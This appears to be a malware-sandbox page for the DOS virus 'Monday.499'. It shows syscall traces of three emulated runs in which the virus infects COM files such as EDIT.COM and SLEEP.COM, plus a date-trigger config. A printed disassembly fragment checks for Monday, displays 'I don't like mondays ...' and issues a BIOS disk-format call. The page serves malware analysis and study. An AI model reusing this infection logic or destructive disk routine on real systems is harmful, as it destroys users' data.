Sample viewer

vx.netlux.org/Virus.DOS.Monday.499

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:12.417779802Z 26 PC: 12aef | Set disk transfer address
2018-12-17T22:52:12.419928854Z 78 PC: 12af8 | Find first file
2018-12-17T22:52:12.428873446Z 67 PC: 12b2d | Get or set file attributes
2018-12-17T22:52:12.434546581Z 67 PC: 12b35 | Get or set file attributes
2018-12-17T22:52:12.780143668Z 61 PC: 12b3c | Open file (Filename = 'C:\DOS\EDIT.COM')
2018-12-17T22:52:12.787175715Z 63 PC: 12b50 | Read file or device (Read 499 bytes on handle 5)
2018-12-17T22:52:12.792459953Z 64 PC: 12b73 | Write file or device (Write 86 bytes on handle 5)
2018-12-17T22:52:12.795107846Z 66 PC: 12b7c | Move file pointer
2018-12-17T22:52:12.796587409Z 87 PC: 12b8c | Get or set file date and time
2018-12-17T22:52:12.797877616Z 64 PC: 12b97 | Write file or device (Write 499 bytes on handle 5)
2018-12-17T22:52:12.804393406Z 66 PC: 12ba0 | Move file pointer
2018-12-17T22:52:12.805660552Z 64 PC: 12bac | Write file or device (Write 497 bytes on handle 5)
2018-12-17T22:52:12.811077011Z 64 PC: 12bb6 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T22:52:12.813664232Z 87 PC: 12bbd | Get or set file date and time
2018-12-17T22:52:12.81532478Z 62 PC: 12bc7 | Close file
2018-12-17T22:52:12.822410192Z 67 PC: 12bce | Get or set file attributes
2018-12-17T22:52:12.828353455Z 67 PC: 12bd6 | Get or set file attributes
2018-12-17T22:52:12.838638117Z 26 PC: 12b21 | Set disk transfer address
2018-12-17T22:52:12.839514974Z 26 PC: 12aef | Set disk transfer address
2018-12-17T22:52:12.840518216Z 78 PC: 12af8 | Find first file
2018-12-17T22:52:12.845222133Z 67 PC: 12b2d | Get or set file attributes
2018-12-17T22:52:12.851309676Z 67 PC: 12b35 | Get or set file attributes
2018-12-17T22:52:12.866835471Z 61 PC: 12b3c | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:52:12.874197365Z 63 PC: 12b50 | Read file or device (Read 499 bytes on handle 5)
2018-12-17T22:52:12.880600388Z 64 PC: 12b73 | Write file or device (Write 92 bytes on handle 5)
2018-12-17T22:52:12.883280404Z 66 PC: 12b7c | Move file pointer
2018-12-17T22:52:12.885415972Z 87 PC: 12b8c | Get or set file date and time
2018-12-17T22:52:12.886727207Z 64 PC: 12b97 | Write file or device (Write 499 bytes on handle 5)
2018-12-17T22:52:12.895243075Z 66 PC: 12ba0 | Move file pointer
2018-12-17T22:52:12.897612537Z 64 PC: 12bac | Write file or device (Write 497 bytes on handle 5)
2018-12-17T22:52:12.904366626Z 64 PC: 12bb6 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T22:52:12.907251813Z 87 PC: 12bbd | Get or set file date and time
2018-12-17T22:52:12.909712614Z 62 PC: 12bc7 | Close file
2018-12-17T22:52:12.917550136Z 67 PC: 12bce | Get or set file attributes
2018-12-17T22:52:12.923377112Z 67 PC: 12bd6 | Get or set file attributes
2018-12-17T22:52:12.934218268Z 26 PC: 12b21 | Set disk transfer address
2018-12-17T22:52:12.935362295Z 42 PC: 12bdb | Get date 0x12bdb: cmp al, 1
0x12bdd: jne 0x12c12
0x12bdf: mov dx, 0x2d3
0x12be2: mov ah, 9
0x12be4: int 0x21
0x12be6: mov ax, ds
0x12be8: add ax, 0x1000
0x12beb: mov es, ax
0x12bed: xor di, di
0x12bef: xor ax, ax
0x12bf1: mov cx, 0x17
0x12bf4: inc ah
0x12bf6: stosw word ptr es:[di], ax
0x12bf7: loop 0x12bf4
0x12bf9: xor cx, cx
0x12bfb: push cx
0x12bfc: xor bx, bx
0x12bfe: mov dx, 0x80
0x12c01: mov ax, 0x501
0x12c04: int 0x13
2018-12-17T22:52:12.937871933Z 9 PC: 12be6 | Display string (String= 'I don't like mondays ...')
2018-12-17T22:52:12.946410876Z 9 PC: 12e26 | Display string (String= 'Hello - Copyright S & S International, 1990 ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10812,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:19.973026802Z 26 PC: 12aef | Set disk transfer address
2018-12-25T12:29:19.975805478Z 78 PC: 12af8 | Find first file
2018-12-25T12:29:19.981632045Z 67 PC: 12b2d | Get or set file attributes
2018-12-25T12:29:19.98768202Z 67 PC: 12b35 | Get or set file attributes
2018-12-25T12:29:20.004253683Z 61 PC: 12b3c | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:29:20.012304821Z 63 PC: 12b50 | Read file or device (Read 499 bytes on handle 5)
2018-12-25T12:29:20.018818148Z 64 PC: 12b73 | Write file or device (Write 92 bytes on handle 5)
2018-12-25T12:29:20.022255676Z 66 PC: 12b7c | Move file pointer
2018-12-25T12:29:20.023654134Z 87 PC: 12b8c | Get or set file date and time
2018-12-25T12:29:20.024922897Z 64 PC: 12b97 | Write file or device (Write 499 bytes on handle 5)
2018-12-25T12:29:20.037605982Z 66 PC: 12ba0 | Move file pointer
2018-12-25T12:29:20.039258895Z 64 PC: 12bac | Write file or device (Write 497 bytes on handle 5)
2018-12-25T12:29:20.045471665Z 64 PC: 12bb6 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:29:20.048161107Z 87 PC: 12bbd | Get or set file date and time
2018-12-25T12:29:20.049958543Z 62 PC: 12bc7 | Close file
2018-12-25T12:29:20.057793521Z 67 PC: 12bce | Get or set file attributes
2018-12-25T12:29:20.063574339Z 67 PC: 12bd6 | Get or set file attributes
2018-12-25T12:29:20.073574695Z 26 PC: 12b21 | Set disk transfer address
2018-12-25T12:29:20.07481791Z 26 PC: 12aef | Set disk transfer address (See above)
2018-12-25T12:29:20.075874215Z 78 PC: 12af8 | Find first file (See above)
2018-12-25T12:29:20.090154854Z 67 PC: 12b2d | Get or set file attributes (See above)
2018-12-25T12:29:20.096265807Z 67 PC: 12b35 | Get or set file attributes (See above)
2018-12-25T12:29:20.420814361Z 61 PC: 12b3c | Open file (See above)
2018-12-25T12:29:20.428900643Z 63 PC: 12b50 | Read file or device (See above)
2018-12-25T12:29:20.434333783Z 64 PC: 12b73 | Write file or device (See above)
2018-12-25T12:29:20.437756241Z 66 PC: 12b7c | Move file pointer (See above)
2018-12-25T12:29:20.440140244Z 87 PC: 12b8c | Get or set file date and time (See above)
2018-12-25T12:29:20.441887989Z 64 PC: 12b97 | Write file or device (See above)
2018-12-25T12:29:20.755940828Z 66 PC: 12ba0 | Move file pointer (See above)
2018-12-25T12:29:20.758021094Z 64 PC: 12bac | Write file or device (See above)
2018-12-25T12:29:20.763653165Z 64 PC: 12bb6 | Write file or device (See above)
2018-12-25T12:29:20.767115582Z 87 PC: 12bbd | Get or set file date and time (See above)
2018-12-25T12:29:20.769595854Z 62 PC: 12bc7 | Close file (See above)
2018-12-25T12:29:20.942997348Z 67 PC: 12bce | Get or set file attributes (See above)
2018-12-25T12:29:20.949390283Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:29:21.082756824Z 26 PC: 12b21 | Set disk transfer address (See above)
2018-12-25T12:29:21.084464756Z 42 PC: 12bdb | Get date 0x12bdb: cmp al, 1
0x12bdd: jne 0x12c12
0x12bdf: mov dx, 0x2d3
0x12be2: mov ah, 9
0x12be4: int 0x21
0x12be6: mov ax, ds
0x12be8: add ax, 0x1000
0x12beb: mov es, ax
0x12bed: xor di, di
0x12bef: xor ax, ax
0x12bf1: mov cx, 0x17
0x12bf4: inc ah
0x12bf6: stosw word ptr es:[di], ax
0x12bf7: loop 0x12bf4
0x12bf9: xor cx, cx
0x12bfb: push cx
0x12bfc: xor bx, bx
0x12bfe: mov dx, 0x80
0x12c01: mov ax, 0x501
0x12c04: int 0x13
2018-12-25T12:29:21.08714526Z 9 PC: 12e26 | Display string (String= 'Hello - Copyright S & S International, 1990 ')

{"DateBased":true,"Day":7,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10812,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T13:07:16.559476435Z 26 PC: 12aef | Set disk transfer address
2018-12-25T13:07:16.560611251Z 78 PC: 12af8 | Find first file
2018-12-25T13:07:16.571301203Z 67 PC: 12b2d | Get or set file attributes
2018-12-25T13:07:16.578571848Z 67 PC: 12b35 | Get or set file attributes
2018-12-25T13:07:16.932856697Z 61 PC: 12b3c | Open file (Filename = 'C:\DOS\EDIT.COM')
2018-12-25T13:07:16.944105859Z 63 PC: 12b50 | Read file or device (Read 499 bytes on handle 5)
2018-12-25T13:07:16.952621296Z 64 PC: 12b73 | Write file or device (Write 86 bytes on handle 5)
2018-12-25T13:07:16.956446892Z 66 PC: 12b7c | Move file pointer
2018-12-25T13:07:16.959690034Z 87 PC: 12b8c | Get or set file date and time
2018-12-25T13:07:16.961750991Z 64 PC: 12b97 | Write file or device (Write 499 bytes on handle 5)
2018-12-25T13:07:16.969801991Z 66 PC: 12ba0 | Move file pointer
2018-12-25T13:07:16.972044937Z 64 PC: 12bac | Write file or device (Write 497 bytes on handle 5)
2018-12-25T13:07:16.979544805Z 64 PC: 12bb6 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T13:07:16.983227609Z 87 PC: 12bbd | Get or set file date and time
2018-12-25T13:07:16.985691682Z 62 PC: 12bc7 | Close file
2018-12-25T13:07:17.008843557Z 67 PC: 12bce | Get or set file attributes
2018-12-25T13:07:17.024673816Z 67 PC: 12bd6 | Get or set file attributes
2018-12-25T13:07:17.036906851Z 26 PC: 12b21 | Set disk transfer address
2018-12-25T13:07:17.039164023Z 26 PC: 12aef | Set disk transfer address (See above)
2018-12-25T13:07:17.040536483Z 78 PC: 12af8 | Find first file (See above)
2018-12-25T13:07:17.04751347Z 67 PC: 12b2d | Get or set file attributes (See above)
2018-12-25T13:07:17.055674551Z 67 PC: 12b35 | Get or set file attributes (See above)
2018-12-25T13:07:17.068665747Z 61 PC: 12b3c | Open file (See above)
2018-12-25T13:07:17.080311165Z 63 PC: 12b50 | Read file or device (See above)
2018-12-25T13:07:17.084108575Z 62 PC: 12bc7 | Close file (See above)
2018-12-25T13:07:17.086367522Z 67 PC: 12bce | Get or set file attributes (See above)
2018-12-25T13:07:17.093183237Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T13:07:17.107088397Z 79 PC: 12b18 | Find next file
2018-12-25T13:07:17.110760217Z 67 PC: 12b2d | Get or set file attributes (See above)
2018-12-25T13:07:17.117687414Z 67 PC: 12b35 | Get or set file attributes (See above)
2018-12-25T13:07:17.129154409Z 61 PC: 12b3c | Open file (See above)
2018-12-25T13:07:17.137666425Z 63 PC: 12b50 | Read file or device (See above)
2018-12-25T13:07:17.145008207Z 66 PC: 12b7c | Move file pointer (See above)
2018-12-25T13:07:17.147008224Z 87 PC: 12b8c | Get or set file date and time (See above)
2018-12-25T13:07:17.14982527Z 64 PC: 12b97 | Write file or device (See above)
2018-12-25T13:07:17.158507464Z 66 PC: 12ba0 | Move file pointer (See above)
2018-12-25T13:07:17.160807513Z 64 PC: 12bac | Write file or device (See above)
2018-12-25T13:07:17.165597793Z 64 PC: 12bb6 | Write file or device (See above)
2018-12-25T13:07:17.169836673Z 87 PC: 12bbd | Get or set file date and time (See above)
2018-12-25T13:07:17.17190337Z 62 PC: 12bc7 | Close file (See above)
2018-12-25T13:07:17.180920097Z 67 PC: 12bce | Get or set file attributes (See above)
2018-12-25T13:07:17.187826287Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T13:07:17.198693854Z 26 PC: 12b21 | Set disk transfer address (See above)
2018-12-25T13:07:17.200857124Z 42 PC: 12bdb | Get date 0x12bdb: cmp al, 1
0x12bdd: jne 0x12c12
0x12bdf: mov dx, 0x2d3
0x12be2: mov ah, 9
0x12be4: int 0x21
0x12be6: mov ax, ds
0x12be8: add ax, 0x1000
0x12beb: mov es, ax
0x12bed: xor di, di
0x12bef: xor ax, ax
0x12bf1: mov cx, 0x17
0x12bf4: inc ah
0x12bf6: stosw word ptr es:[di], ax
0x12bf7: loop 0x12bf4
0x12bf9: xor cx, cx
0x12bfb: push cx
0x12bfc: xor bx, bx
0x12bfe: mov dx, 0x80
0x12c01: mov ax, 0x501
0x12c04: int 0x13
2018-12-25T13:07:17.203737228Z 9 PC: 12be6 | Display string (String= 'I don't like mondays ...')
2018-12-25T13:07:17.213046227Z 9 PC: 12e26 | Display string (String= 'Hello - Copyright S & S International, 1990 ')